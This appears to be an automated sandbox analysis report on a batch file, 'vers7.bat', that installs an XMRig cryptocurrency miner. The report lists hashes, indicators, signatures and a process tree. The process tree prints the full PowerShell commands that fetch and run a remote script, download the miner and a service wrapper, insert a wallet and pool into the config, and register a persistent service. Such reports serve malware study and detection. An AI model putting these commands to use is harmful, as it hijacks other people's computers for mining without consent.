Analysis
-
max time kernel
1049s -
max time network
1050s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
29/06/2024, 13:31 UTC
Static task
static1
Behavioral task
behavioral1
Sample
vers7.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
vers7.bat
Resource
win10v2004-20240508-en
General
-
Target
vers7.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral1/files/0x000700000001ac0d-128.dat family_xmrig behavioral1/files/0x000700000001ac0d-128.dat xmrig behavioral1/memory/4488-131-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-413-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-414-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-426-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-427-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-428-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-429-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-430-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-431-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-432-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-433-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-434-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-435-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-436-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-437-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-438-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-439-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-440-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-441-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-442-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-443-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-444-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-445-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-447-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-448-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-449-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-450-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-451-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-452-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-453-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-454-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-455-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-456-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-457-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-458-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-459-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-460-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-461-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-462-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-463-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-464-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-465-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-466-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-467-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-468-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-469-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-470-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-471-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-472-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-473-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/2516-474-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 200 powershell.exe 5 4740 powershell.exe 7 5064 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 4488 xmrig.exe 3984 nssm.exe 4320 nssm.exe 2964 nssm.exe 2096 nssm.exe 3624 nssm.exe 2796 nssm.exe 2320 nssm.exe 2516 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 7 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 508 sc.exe 2932 sc.exe 2340 sc.exe 1704 sc.exe -
pid Process 5064 powershell.exe 3336 powershell.exe 3992 powershell.exe 200 powershell.exe 4992 powershell.exe 2824 powershell.exe 1684 powershell.exe 1216 powershell.exe 4216 powershell.exe 3632 powershell.exe 4868 powershell.exe 4116 powershell.exe 4740 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4972 timeout.exe 524 Process not Found 2996 timeout.exe 1120 timeout.exe 4984 Process not Found 2460 timeout.exe 1168 timeout.exe 3896 Process not Found 1508 Process not Found 2544 timeout.exe 4840 timeout.exe 3140 timeout.exe 1584 timeout.exe 1272 timeout.exe 3620 timeout.exe 3500 timeout.exe 512 timeout.exe 1040 Process not Found 2448 timeout.exe 3824 timeout.exe 2920 Process not Found 3564 timeout.exe 3792 Process not Found 2460 timeout.exe 2460 timeout.exe 4832 Process not Found 3776 timeout.exe 772 timeout.exe 1168 Process not Found 1480 Process not Found 316 Process not Found 1248 timeout.exe 4380 timeout.exe 4360 timeout.exe 4976 timeout.exe 1068 timeout.exe 4204 timeout.exe 504 timeout.exe 3024 Process not Found 3220 timeout.exe 3588 timeout.exe 916 timeout.exe 1012 timeout.exe 3028 timeout.exe 1076 timeout.exe 3432 timeout.exe 4352 timeout.exe 5064 timeout.exe 592 timeout.exe 816 timeout.exe 2504 timeout.exe 2940 timeout.exe 3040 Process not Found 1064 Process not Found 2252 Process not Found 3228 Process not Found 3252 Process not Found 2560 timeout.exe 4992 timeout.exe 1384 timeout.exe 4644 Process not Found 4440 Process not Found 4468 timeout.exe 1248 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 4320 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 200 powershell.exe 200 powershell.exe 200 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 1684 powershell.exe 1684 powershell.exe 1684 powershell.exe 1216 powershell.exe 1216 powershell.exe 1216 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 4216 powershell.exe 4216 powershell.exe 4216 powershell.exe 3632 powershell.exe 3632 powershell.exe 3632 powershell.exe 4868 powershell.exe 4868 powershell.exe 4868 powershell.exe 2824 powershell.exe 2824 powershell.exe 2824 powershell.exe 4992 powershell.exe 4992 powershell.exe 4992 powershell.exe 4116 powershell.exe 4116 powershell.exe 4116 powershell.exe 5064 powershell.exe 5064 powershell.exe 5064 powershell.exe 3336 powershell.exe 3336 powershell.exe 3336 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 200 powershell.exe Token: SeDebugPrivilege 4320 taskkill.exe Token: SeDebugPrivilege 4740 powershell.exe Token: SeDebugPrivilege 1684 powershell.exe Token: SeDebugPrivilege 1216 powershell.exe Token: SeDebugPrivilege 3992 powershell.exe Token: SeDebugPrivilege 4216 powershell.exe Token: SeDebugPrivilege 3632 powershell.exe Token: SeDebugPrivilege 4868 powershell.exe Token: SeDebugPrivilege 2824 powershell.exe Token: SeDebugPrivilege 4992 powershell.exe Token: SeDebugPrivilege 4116 powershell.exe Token: SeDebugPrivilege 5064 powershell.exe Token: SeDebugPrivilege 3336 powershell.exe Token: SeLockMemoryPrivilege 2516 xmrig.exe Token: SeIncreaseQuotaPrivilege 2920 WMIC.exe Token: SeSecurityPrivilege 2920 WMIC.exe Token: SeTakeOwnershipPrivilege 2920 WMIC.exe Token: SeLoadDriverPrivilege 2920 WMIC.exe Token: SeSystemProfilePrivilege 2920 WMIC.exe Token: SeSystemtimePrivilege 2920 WMIC.exe Token: SeProfSingleProcessPrivilege 2920 WMIC.exe Token: SeIncBasePriorityPrivilege 2920 WMIC.exe Token: SeCreatePagefilePrivilege 2920 WMIC.exe Token: SeBackupPrivilege 2920 WMIC.exe Token: SeRestorePrivilege 2920 WMIC.exe Token: SeShutdownPrivilege 2920 WMIC.exe Token: SeDebugPrivilege 2920 WMIC.exe Token: SeSystemEnvironmentPrivilege 2920 WMIC.exe Token: SeRemoteShutdownPrivilege 2920 WMIC.exe Token: SeUndockPrivilege 2920 WMIC.exe Token: SeManageVolumePrivilege 2920 WMIC.exe Token: 33 2920 WMIC.exe Token: 34 2920 WMIC.exe Token: 35 2920 WMIC.exe Token: 36 2920 WMIC.exe Token: SeIncreaseQuotaPrivilege 2920 WMIC.exe Token: SeSecurityPrivilege 2920 WMIC.exe Token: SeTakeOwnershipPrivilege 2920 WMIC.exe Token: SeLoadDriverPrivilege 2920 WMIC.exe Token: SeSystemProfilePrivilege 2920 WMIC.exe Token: SeSystemtimePrivilege 2920 WMIC.exe Token: SeProfSingleProcessPrivilege 2920 WMIC.exe Token: SeIncBasePriorityPrivilege 2920 WMIC.exe Token: SeCreatePagefilePrivilege 2920 WMIC.exe Token: SeBackupPrivilege 2920 WMIC.exe Token: SeRestorePrivilege 2920 WMIC.exe Token: SeShutdownPrivilege 2920 WMIC.exe Token: SeDebugPrivilege 2920 WMIC.exe Token: SeSystemEnvironmentPrivilege 2920 WMIC.exe Token: SeRemoteShutdownPrivilege 2920 WMIC.exe Token: SeUndockPrivilege 2920 WMIC.exe Token: SeManageVolumePrivilege 2920 WMIC.exe Token: 33 2920 WMIC.exe Token: 34 2920 WMIC.exe Token: 35 2920 WMIC.exe Token: 36 2920 WMIC.exe Token: SeIncreaseQuotaPrivilege 1448 WMIC.exe Token: SeSecurityPrivilege 1448 WMIC.exe Token: SeTakeOwnershipPrivilege 1448 WMIC.exe Token: SeLoadDriverPrivilege 1448 WMIC.exe Token: SeSystemProfilePrivilege 1448 WMIC.exe Token: SeSystemtimePrivilege 1448 WMIC.exe Token: SeProfSingleProcessPrivilege 1448 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2516 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3748 wrote to memory of 200 3748 cmd.exe 76 PID 3748 wrote to memory of 200 3748 cmd.exe 76 PID 200 wrote to memory of 1772 200 powershell.exe 77 PID 200 wrote to memory of 1772 200 powershell.exe 77 PID 1772 wrote to memory of 748 1772 cmd.exe 78 PID 1772 wrote to memory of 748 1772 cmd.exe 78 PID 748 wrote to memory of 3976 748 net.exe 79 PID 748 wrote to memory of 3976 748 net.exe 79 PID 1772 wrote to memory of 3896 1772 cmd.exe 80 PID 1772 wrote to memory of 3896 1772 cmd.exe 80 PID 1772 wrote to memory of 2028 1772 cmd.exe 81 PID 1772 wrote to memory of 2028 1772 cmd.exe 81 PID 1772 wrote to memory of 1604 1772 cmd.exe 82 PID 1772 wrote to memory of 1604 1772 cmd.exe 82 PID 1772 wrote to memory of 3908 1772 cmd.exe 83 PID 1772 wrote to memory of 3908 1772 cmd.exe 83 PID 1772 wrote to memory of 2848 1772 cmd.exe 84 PID 1772 wrote to memory of 2848 1772 cmd.exe 84 PID 1772 wrote to memory of 508 1772 cmd.exe 85 PID 1772 wrote to memory of 508 1772 cmd.exe 85 PID 1772 wrote to memory of 2932 1772 cmd.exe 86 PID 1772 wrote to memory of 2932 1772 cmd.exe 86 PID 1772 wrote to memory of 4320 1772 cmd.exe 87 PID 1772 wrote to memory of 4320 1772 cmd.exe 87 PID 1772 wrote to memory of 4740 1772 cmd.exe 89 PID 1772 wrote to memory of 4740 1772 cmd.exe 89 PID 1772 wrote to memory of 1684 1772 cmd.exe 90 PID 1772 wrote to memory of 1684 1772 cmd.exe 90 PID 1772 wrote to memory of 1216 1772 cmd.exe 91 PID 1772 wrote to memory of 1216 1772 cmd.exe 91 PID 1772 wrote to memory of 4488 1772 cmd.exe 92 PID 1772 wrote to memory of 4488 1772 cmd.exe 92 PID 1772 wrote to memory of 4656 1772 cmd.exe 93 PID 1772 wrote to memory of 4656 1772 cmd.exe 93 PID 4656 wrote to memory of 3992 4656 cmd.exe 94 PID 4656 wrote to memory of 3992 4656 cmd.exe 94 PID 3992 wrote to memory of 3108 3992 powershell.exe 95 PID 3992 wrote to memory of 3108 3992 powershell.exe 95 PID 1772 wrote to memory of 4216 1772 cmd.exe 96 PID 1772 wrote to memory of 4216 1772 cmd.exe 96 PID 1772 wrote to memory of 3632 1772 cmd.exe 97 PID 1772 wrote to memory of 3632 1772 cmd.exe 97 PID 1772 wrote to memory of 4868 1772 cmd.exe 98 PID 1772 wrote to memory of 4868 1772 cmd.exe 98 PID 1772 wrote to memory of 2824 1772 cmd.exe 99 PID 1772 wrote to memory of 2824 1772 cmd.exe 99 PID 1772 wrote to memory of 4992 1772 cmd.exe 100 PID 1772 wrote to memory of 4992 1772 cmd.exe 100 PID 1772 wrote to memory of 4116 1772 cmd.exe 101 PID 1772 wrote to memory of 4116 1772 cmd.exe 101 PID 1772 wrote to memory of 5064 1772 cmd.exe 102 PID 1772 wrote to memory of 5064 1772 cmd.exe 102 PID 1772 wrote to memory of 3336 1772 cmd.exe 103 PID 1772 wrote to memory of 3336 1772 cmd.exe 103 PID 1772 wrote to memory of 2340 1772 cmd.exe 104 PID 1772 wrote to memory of 2340 1772 cmd.exe 104 PID 1772 wrote to memory of 1704 1772 cmd.exe 105 PID 1772 wrote to memory of 1704 1772 cmd.exe 105 PID 1772 wrote to memory of 3984 1772 cmd.exe 106 PID 1772 wrote to memory of 3984 1772 cmd.exe 106 PID 1772 wrote to memory of 4320 1772 cmd.exe 107 PID 1772 wrote to memory of 4320 1772 cmd.exe 107 PID 1772 wrote to memory of 2964 1772 cmd.exe 108 PID 1772 wrote to memory of 2964 1772 cmd.exe 108
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vers7.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6E3B.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:3976
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:3896
-
-
C:\Windows\system32\where.exewhere find4⤵PID:2028
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:1604
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:3908
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:2848
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:508
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2932
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4320
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1216
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:4488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:3108
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Ndtnzvhn\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4868
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5064
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3336
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:2340
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:1704
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:3984
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:4320
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:2964
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:2096
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:3624
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:2796
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1916
-
-
-
